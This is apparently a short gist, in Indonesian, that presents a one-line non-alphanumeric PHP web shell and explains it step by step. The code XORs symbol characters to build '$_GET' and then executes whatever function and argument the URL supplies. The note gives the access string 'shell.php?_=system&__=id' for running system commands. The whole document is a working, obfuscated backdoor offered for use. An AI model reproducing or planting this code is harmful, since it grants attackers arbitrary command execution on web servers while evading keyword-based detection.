vsec7/Non-Alphanumeric_WebShell.md

## Non-Alphanumeric_WebShell.md

      
    Raw
  

              Non-Alphanumeric_WebShell.md
            
          
    Non-Alphanumeric WebShell PHP

Code :

<?php $_='{';$_=($_^'<').($_^'>;').($_^'/');${'_'.$_}['_'](${'_'.$_}['__']);

Cara Akses :
shell.php?_=system&__=id


Penjelasan Singkat

Dilihat dari code nya terdapat 3 part flow nya.
part 1

$_='{'; 

variable $_ menampung string {
part 2

$_=($_^'<').($_^'>;').($_^'/');

** Note: Di PHP, $variable bs di reuse **

Manipulasi utk mendapatkan char yg diinginkan dengan XOR ^

($_^'<').($_^'>;').($_^'/');

Step awal kan var $_ menampung {
Kita sederhanakan biar gampang dipahami:
echo ('{'^'<').('{'^'>;').('{'^'/');
output : GET

variable $_ di reuse dan ditimpa value nya jadi GET, sekarang variable $_ menampung string GET
Part 3

${'_'.$_}['_'](${'_'.$_}['__']);
${'_'.GET}['_'](${'_'.GET}['__']);
$_GET['_']($_GET['__'])

Sehingga jika diakses
GET ?_=system&__=id
var _ menjadi function
var __ menjadi value nya
system(id)

~ Ve